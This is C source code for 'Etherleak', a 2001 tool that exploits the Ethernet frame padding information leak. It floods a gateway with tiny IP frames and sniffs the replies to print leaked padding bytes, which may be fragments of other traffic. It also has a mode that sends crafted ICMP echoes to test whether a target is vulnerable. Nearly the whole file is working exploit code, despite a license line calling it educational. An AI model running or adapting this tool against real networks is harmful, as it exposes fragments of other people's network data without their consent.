1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
|
/*
* Copyright (C) 2001 Stealth.
* All rights reserved.
*
* THIS IS NOT OPEN SOURCE, SO READ ON.
*
* Redistribution in source and binary forms, with or without
* modification, are NOT permitted.
*
* Use of this software is permitted provided that the following conditions
* are met:
*
* 1. You may not use this software to cause damage or any other illegal
* activities. It is for educational purpose only. You may not use this
* software for commercial purposes.
* 2. You may change the sourcode to meet your needs. You are not allowed
* to change this copyright notice.
* 3. This is private sourcecode, you should have received this file only
* from the author itself.
* 4. The author may change the above copyright at any time. He may even publish
* this code without notify you first.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <stdio.h>
#include <sys/types.h>
#include <libnet.h>
#include <pthread.h>
#include <pcap.h>
#include "tcp.h"
struct {
char *dev;
int promisc;
unsigned char my_mac[6], gw_mac[6];
char *my_ip;
} options;
/*
{"eth0", 0,
{0x00, 0x50, 0x22, 0x88, 0x29, 0x93},
{0x00, 0x40, 0x05, 0x6d, 0x1a, 0x90},
"192.0.0.1"
};
*/
pcap_t *pcap_prepare(char *);
void complain(const char *);
int opt_fill_mac(const char *mac_format, unsigned char mac[6])
{
int n;
unsigned short int t[6];
n = sscanf(mac_format, "%02hx:%02hx:%02hx:%02hx:%02hx:%02hx",
&t[0], &t[1], &t[2],
&t[3], &t[4], &t[5]);
mac[0] = (u_char)t[0];
mac[1] = (u_char)t[1];
mac[2] = (u_char)t[2];
mac[3] = (u_char)t[3];
mac[4] = (u_char)t[4];
mac[5] = (u_char)t[5];
return n == 6 ? 0 : -1;
}
/* Check wheter 'target' is vulnerable to
* ether-leakage
*/
void vulnerability_test(const char *target)
{
pcap_t *pcap_handle;
char fstring[1024], send_pack[128],
*payload = "XXXXXXXXXXXXXXXXXX"; /* 18byte */
u_long src_l, dst_l;
struct hostent *he;
struct pcap_pkthdr phdr;
u_char *pkt;
int r, raw_fd = libnet_open_raw_sock(IPPROTO_ICMP);
snprintf(fstring, sizeof(fstring),"icmp and dst host %s and icmp[0]==0",
options.my_ip);
pcap_handle = pcap_prepare(fstring);
r = libnet_build_icmp_echo(8, 0, 0x7350, 1, payload, 18,
&send_pack[LIBNET_IP_H]);
if (r < 0)
complain("libnet_build_icmp_echo failed\n");
if ((he = gethostbyname(options.my_ip)) == NULL) {
herror("gethostbyname");
exit(7);
}
src_l = *(u_long*)he->h_addr;
if ((he = gethostbyname(target)) == NULL) {
herror("gethostbyname");
exit(7);
}
dst_l = *(u_long*)he->h_addr;
r = libnet_build_ip(0,
0, /* TOS */
0, /* ID */
0, /* frag */
64, /* TTL */
IPPROTO_ICMP,
src_l, dst_l,
&send_pack[LIBNET_IP_H],
LIBNET_ICMP_ECHO_H+18, send_pack);
if (r < 0)
complain("libnet_build_ip failed\n");
/* send normal packet, one that fits to 46 byte of payload */
libnet_do_checksum(send_pack, IPPROTO_ICMP,
LIBNET_ICMP_ECHO_H+18);
libnet_write_ip(raw_fd, send_pack, 46);
/* send shport packet (1 byte payload) */
send_pack[LIBNET_IP_H+LIBNET_ICMP_ECHO_H] = 'Y';
libnet_do_checksum(send_pack, IPPROTO_ICMP,
LIBNET_ICMP_ECHO_H+1);
libnet_write_ip(raw_fd, send_pack, 29);
for (r = 0; r != 2;)
if ((pkt = pcap_next(pcap_handle, &phdr)))
++r;
libnet_close_raw_sock(raw_fd);
if (phdr.len != 60) {
printf("'%s' not vulnerable (!= 60 byte in reply)\n", target);
exit(0);
}
if (pkt[14+20+8+3] == 'X')
printf("'%s' vulnerable!\n", target);
else
printf("'%s' not vulnerable!\n", target);
printf("Got '");
write(1, &pkt[14+20+8], 18);
printf("'\n");
exit(0);
}
void usage()
{
fprintf(stderr, "Usage: etherleak <-I my_IP> <-S my_MAC> <-T gw_MAC>\n"\
" [-D device] [-P promisc] [-V v]\n\n");
exit(1);
}
void die(const char *s)
{
perror(s);
exit(errno);
}
void complain(const char *s)
{
fprintf(stderr, "%s", s);
exit(2);
}
char last_seen[26];
void process_packet(u_char *user, const struct pcap_pkthdr *pkthdr,
const u_char *pkt)
{
struct e_tcphdr *tcph = (struct e_tcphdr*)(pkt+14+20);
if (memcmp(last_seen, pkt+14+20, 26) == 0)
return;
memcpy(last_seen, pkt+14+20, 26);
printf("%d->%d ", ntohs(tcph->th_sport), ntohs(tcph->th_dport));
write(1, pkt+14+20+20, 6);
printf("\n");
}
pcap_t *pcap_prepare(char *filter_string)
{
char ebuf[PCAP_ERRBUF_SIZE];
pcap_t *handle = NULL;
u_int32_t localnet, netmask;
struct bpf_program filter;
handle = pcap_open_live(options.dev, 512, options.promisc, 100, ebuf);
if (!handle)
die(ebuf);
if (pcap_lookupnet(options.dev, &localnet, &netmask, ebuf) < 0)
die(ebuf);
if (pcap_compile(handle, &filter, filter_string, 1, netmask) < 0) {
fprintf(stderr, "Can't compile filter %s\n", filter_string);
exit(5);
}
if (pcap_setfilter(handle, &filter) < 0) {
fprintf(stderr, "Can't set filter.\n");
exit(6);
}
return handle;
}
void *capture_thread(void *vp)
{
pcap_t *handle = NULL;
char fstring[1024];
snprintf(fstring, sizeof(fstring), "ether dst %x:%x:%x:%x:%x:%x",
options.my_mac[0], options.my_mac[1], options.my_mac[2],
options.my_mac[3], options.my_mac[4], options.my_mac[5]);
handle = pcap_prepare(fstring);
pcap_loop(handle, -1, process_packet, NULL);
return NULL;
}
void *send_thread(void *vp)
{
struct hostent *src, *dst;
int r;
u_long src_l, dst_l;
char buf[100], ebuf[1024];
struct libnet_link_int *link;
if ((src = gethostbyname(options.my_ip)) == NULL) {
herror("gethostbyname");
exit(h_errno);
}
src_l = *(u_long*)src->h_addr;
if ((dst = gethostbyname(options.my_ip)) == NULL) {
herror("gethostbyname");
exit(h_errno);
}
dst_l = *(u_long*)dst->h_addr;
link = libnet_open_link_interface(options.dev, ebuf);
r = libnet_build_ip(0,
0, /* TOS */
0, /* ID */
0, /* frag */
64, /* TTL */
IPPROTO_IP,
src_l, dst_l,
NULL,
0, &buf[LIBNET_ETH_H]);
if (r < 0)
complain("libnet_build_ip failed\n");
r = libnet_build_ethernet(options.gw_mac, options.my_mac, ETHERTYPE_IP,
&buf[LIBNET_ETH_H], IP_H, buf);
if (r < 0)
complain("libnet_build_ethernet failed");
libnet_do_checksum(&buf[LIBNET_ETH_H], IPPROTO_IP, IP_H);
for (;;) {
libnet_write_link_layer(link, options.dev, buf,
IP_H+LIBNET_ETH_H);
usleep(2000);
}
libnet_close_link_interface(link);
return NULL;
}
int main(int argc, char **argv)
{
pthread_t tid1, tid2;
void *r;
int c;
char *vuln_test = NULL;
memset(&options, 0, sizeof(options));
options.dev = strdup("eth0");
options.promisc = 1;
printf("Etherleak (C) 2001 by Stealth. >>> Confidential <<<\n\n");
while ((c = getopt(argc, argv, "S:T:I:D:P:V:")) != -1) {
switch (c) {
case 'I':
options.my_ip = strdup(optarg);
break;
case 'S':
if (opt_fill_mac(optarg, options.my_mac) < 0)
complain("Can't parse src MAC\n");
break;
case 'T':
if (opt_fill_mac(optarg, options.gw_mac) < 0)
complain("Can't parse dst MAC\n");
break;
case 'D':
free(options.dev);
options.dev = strdup(optarg);
break;
case 'P':
options.promisc = atoi(optarg);
break;
case 'V':
vuln_test = strdup(optarg);
break;
default:
usage();
}
}
if (!options.my_mac || !options.gw_mac || !options.my_ip)
usage();
setbuffer(stdout, NULL, 0);
if (vuln_test)
vulnerability_test(vuln_test); /* never returns */
pthread_create(&tid1, NULL, send_thread, NULL);
pthread_create(&tid2, NULL, capture_thread, NULL);
pthread_join(tid1, &r);
pthread_join(tid2, &r);
return 0;
}
|